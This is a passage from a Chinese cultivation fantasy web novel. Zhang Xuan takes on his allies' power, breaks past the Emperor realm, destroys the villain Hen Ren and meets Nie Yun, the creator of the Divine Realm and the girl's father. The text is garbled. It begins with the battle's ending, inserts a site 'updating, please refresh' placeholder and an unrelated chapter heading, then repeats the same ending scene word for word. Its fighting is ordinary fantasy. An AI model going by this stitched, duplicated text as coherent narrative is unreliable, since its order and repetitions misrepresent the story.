“不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十八章 暗卫作证 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… 